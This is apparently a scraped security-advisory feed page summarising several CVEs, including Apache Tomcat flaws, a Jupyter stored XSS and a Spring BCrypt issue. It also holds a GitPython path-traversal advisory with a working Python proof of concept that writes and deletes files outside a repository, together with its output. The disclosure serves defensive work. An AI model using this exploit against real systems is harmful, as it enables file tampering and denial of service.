1. Accept a client connection. 2. Send an FTP multiline response opener such as 220-malicious banner\r\n. 3. Continue sending additional lines without ever sending the terminating 220 line. 4. Verify that the client rejects the connection once the configured response-size limit is exceeded. 5. Verify that partialResponse does not grow without bound.

1 / 2
Source: GitHub
First published (updated )
Severity
8.4
XSS
CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Impact

A stored Cross-Site Scripting (XSS) vulnerability in Jupyter Notebook allows attackers to steal authentication tokens from users who open malicious notebook files and interact with elements that the attacker can make look indistinguishable from legitimate controls (single click interaction).

The vulnerability enables complete account takeover through the Jupyter REST API, allowing the attacker to: 1. Read all files 2. Modify/create files 3. Access running kernels and execute arbitrary code 4. Create terminals for shell access

Patches

Jupyter Notebook 7.5.6 and JupyterLab 4.5.7 include patches for this vulnerability.

Workarounds

The help extension can be disabled via CLI:

jupyter labextension disable @jupyter-notebook/help-extension jupyter labextension disable @jupyterlab/help-extension

Hardening

The patched versions include a toggle to disable the command linker functionality altogether, for example via overrides.json:

json { "@jupyterlab/apputils-extension:sanitizer": { "allowCommandLinker": false } }

Resources

- https://jupyterlab.readthedocs.io/en/latest/user/commands.html#commands-in-markdown-output-and-files

Acknowledgments

Reported by Daniel Teixeira - NVIDIA AI Red Team

1 / 2
Source: GitHub
First published (updated )
Severity
7.5
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Improper Handling of Exceptional Conditions, Uncontrolled Resource Consumption vulnerability in Apache Tomcat. When processing an HTTP/2 stream, Tomcat did not handle some cases of excessive HTTP headers correctly. This led to a miscounting of active HTTP/2 streams which in turn led to the use of an incorrect infinite timeout which allowed connections to remain open which should have been closed.

This issue affects Apache Tomcat: from 11.0.0-M1 through 11.0.0-M20, from 10.1.0-M1 through 10.1.24, from 9.0.0-M1 through 9.0.89.

The following versions were EOL at the time the CVE was created but are known to be affected: 8.5.0 though 8.5.100. Other EOL versions may also be affected.

Users are recommended to upgrade to version 11.0.0-M21, 10.1.25 or 9.0.90, which fixes the issue.

1 / 2
Source: MITRE
First published (updated )
Severity
8.6
AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:N/A:H

Allocation of Resources Without Limits or Throttling vulnerability in Apache Tomcat.

This issue affects Apache Tomcat: from 11.0.0-M1 through 11.0.0-M20, from 10.1.0-M1 through 10.1.24, from 9.0.13 through 9.0.89.

The following versions were EOL at the time the CVE was created but are known to be affected: 8.5.35 through 8.5.100 and 7.0.92 through 7.0.109. Other EOL versions may also be affected.

Users are recommended to upgrade to version 11.0.0-M21, 10.1.25, or 9.0.90, which fixes the issue.

Apache Tomcat, under certain configurations on any platform, allows an attacker to cause an OutOfMemoryError by abusing the TLS handshake process.

1 / 4
Source: MITRE
First published (updated )
Severity
7.4
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N

BCryptPasswordEncoder.matches(CharSequence,String) will incorrectly return true for passwords larger than 72 characters as long as the first 72 characters are the same.

1 / 2
Source: Red Hat
First published (updated )
Severity
7.3
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L

Improper Handling of Case Sensitivity vulnerability in Apache Tomcat's GCI servlet allows security constraint bypass of security constraints that apply to the pathInfo component of a URI mapped to the CGI servlet.

This issue affects Apache Tomcat: from 11.0.0-M1 through 11.0.6, from 10.1.0-M1 through 10.1.40, from 9.0.0.M1 through 9.0.104.

Users are recommended to upgrade to version 11.0.7, 10.1.41 or 9.0.105, which fixes the issue.

1 / 2
Source: GitHub
First published (updated )
Severity
7.5
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

Authentication Bypass Using an Alternate Path or Channel vulnerability in Apache Tomcat. When using PreResources or PostResources mounted other than at the root of the web application, it was possible to access those resources via an unexpected path. That path was likely not to be protected by the same security constraints as the expected path, allowing those security constraints to be bypassed.

This issue affects Apache Tomcat: from 11.0.0-M1 through 11.0.7, from 10.1.0-M1 through 10.1.41, from 9.0.0.M1 through 9.0.105.

Users are recommended to upgrade to version 11.0.8, 10.1.42 or 9.0.106, which fix the issue.

1 / 3
Source: Red Hat
First published (updated )
Severity
7.5
AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Allocation of Resources Without Limits or Throttling vulnerability in Apache Tomcat.

This issue affects Apache Tomcat: from 11.0.0-M1 through 11.0.7, from 10.1.0-M1 through 10.1.41, from 9.0.0.M1 through 9.0.105.

Users are recommended to upgrade to version 11.0.8, 10.1.42 or 9.0.106, which fix the issue.

1 / 2
Source: GitHub
First published (updated )
Severity
8.4
CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Untrusted Search Path vulnerability in Apache Tomcat installer for Windows. During installation, the Tomcat installer for Windows used icacls.exe without specifying a full path.

This issue affects Apache Tomcat: from 11.0.0-M1 through 11.0.7, from 10.1.0 through 10.1.41, from 9.0.23 through 9.0.105. The following versions were EOL at the time the CVE was created but are known to be affected: 8.5.0 through 8.5.100 and 7.0.95 through 7.0.109. Other EOL versions may also be affected.

Users are recommended to upgrade to version 11.0.8, 10.1.42 or 9.0.106, which fix the issue.

First published (updated )
Severity
7.5
Race Condition
AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

CVE-2025-52434Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition') vulnerability in Apache Tomcat when using the APR/Native connector. This was particularly noticeable with client initiated closes of HTTP/2 connections. This issue affects Apache Tomcat: from 9.0.0.M1 through 9.0.106. Users are recommended to upgrade to version 9.0.107, which fixes the issue. CVE-2025-53506Uncontrolled Resource Consumption vulnerability in Apache Tomcat if an HTTP/2 client did not acknowledge the initial settings frame that reduces the maximum permitted concurrent streams. This issue affects Apache Tomcat: from 11.0.0-M1 through 11.0.8, from 10.1.0-M1 through 10.1.42, from 9.0.0.M1 through 9.0.106. Users are recommended to upgrade to version 11.0.9, 10.1.43 or 9.0.107, which fix the issue.

1 / 3
Source: F5
First published (updated )
Severity
7.5
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

The Spring Framework annotation detection mechanism may not correctly resolve annotations on methods within type hierarchies with a parameterized super type with unbounded generics. This can be an issue if such annotations are used for authorization decisions.

Your application may be affected by this if you are using Spring Security's @EnableMethodSecurity feature.

You are not affected by this if you are not using @EnableMethodSecurity or if you do not use security annotations on methods in generic superclasses or generic interfaces.

This CVE is published in conjunction with CVE-2025-41248

1 / 3
Source: IBM
First published (updated )
Severity
7.8
Path Traversal
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:H/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

🧾 Summary

A vulnerability in GitPython allows attackers who can supply a crafted reference path to an application using GitPython to write, overwrite, move, or delete files outside the repository’s .git directory via insufficient validation of reference paths in reference creation, rename, and delete operations.

---

📦 Affected Versions

Affected: <= 3.1.46 and current main (3.1.47 in local checkout)

---

🧠 Details

Vulnerability Type

Path Traversal leading to Arbitrary File Write and Arbitrary File Deletion

---

Root Cause

Reference paths are validated when they are resolved for reading, but are not consistently validated before filesystem write, rename, and delete operations.

SymbolicReference.checkrefnamevalid() rejects traversal sequences such as .., but SymbolicReference.create, Reference.create, SymbolicReference.setreference, SymbolicReference.rename, and SymbolicReference.delete still construct filesystem paths from attacker-controlled ref names without enforcing repository boundaries.

---

Affected Code

python def setreference(self, ref, logmsg=None): ... fpath = self.abspath assuredirectoryexists(fpath, isfile=True)

lfd = LockedFD(fpath) fd = lfd.open(write=True, stream=True) ...

python @classmethod def delete(cls, repo, path): fullrefpath = cls.tofullpath(path) abspath = os.path.join(repo.commondir, fullrefpath) if os.path.exists(abspath): os.remove(abspath)

python def rename(self, newpath, force=False): newpath = self.tofullpath(newpath) newabspath = os.path.join(gitdir(self.repo, newpath), newpath) curabspath = os.path.join(gitdir(self.repo, self.path), self.path) ... os.rename(curabspath, newabspath)

---

Attack Vector

Local attack through application-controlled input passed into GitPython reference APIs

Authentication Required

None at the library boundary. In practice, exploitation requires the ability to influence ref names supplied by the consuming application.

---

🧪 Proof of Concept

Setup

bash pip install GitPython==3.1.46 python poc.py

---

Exploit

python import shutil from pathlib import Path

from git import Repo from git.refs.reference import Reference from git.refs.symbolic import SymbolicReference

base = Path("gp-ghsa-poc").resolve() if base.exists(): shutil.rmtree(base)

repodir = base / "repo" repo = Repo.init(repodir)

(repodir / "a.txt").writetext("init\n", encoding="utf-8") repo.index.add(["a.txt"]) repo.index.commit("init")

outsidewrite = base / "outsidewrite.txt" outsidedelete = base / "outsidedelete.txt" outsidedelete.writetext("DELETE ME\n", encoding="utf-8")

print(f"repodir = {repodir}") print(f"outsidewrite = {outsidewrite}") print(f"outsidedelete = {outsidedelete}")

Reference.create(repo, "../../../outsidewrite.txt", "HEAD")

print("\n[+] outsidewrite exists:", outsidewrite.exists()) if outsidewrite.exists(): print("[+] outsidewrite content:") print(outsidewrite.readtext(encoding="utf-8"))

SymbolicReference.delete(repo, "../../../outsidedelete.txt")

print("\n[+] outsidedelete exists after delete:", outsidedelete.exists())

---

Result

text repodir = ...\gp-ghsa-poc\repo outsidewrite = ...\gp-ghsa-poc\outsidewrite.txt outsidedelete = ...\gp-ghsa-poc\outsidedelete.txt

[+] outsidewrite exists: True [+] outsidewrite content: <current HEAD commit SHA>

[+] outsidedelete exists after delete: False

---

💥 Impact

What can an attacker do?

Create or overwrite files outside the repository metadata directory Delete attacker-chosen files reachable from the process permissions Corrupt application state or configuration files Cause denial of service by deleting or overwriting important files

---

Security Impact

Confidentiality: Low Integrity: High Availability: High

---

Who is affected?

Applications that expose GitPython reference operations to user-controlled input Git automation services, repository management backends, CI/CD helpers, and developer platforms Multi-user environments where one user can influence ref names processed on behalf of another workflow

---

🛠️ Mitigation / Fix

Recommended Fix

python def validaterefwritepath(repo, path, , forgitdir=False): SymbolicReference.checkrefnamevalid(path)

base = Path(repo.gitdir if forgitdir else repo.commondir).resolve() target = (base / path).resolve()

if base not in [target, target.parents]: raise ValueError(f"Reference path escapes repository boundary: {path}")

return str(target)

python fullrefpath = cls.tofullpath(path) validaterefwritepath(repo, fullrefpath)

1 / 3
Source: GitHub
First published (updated )

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203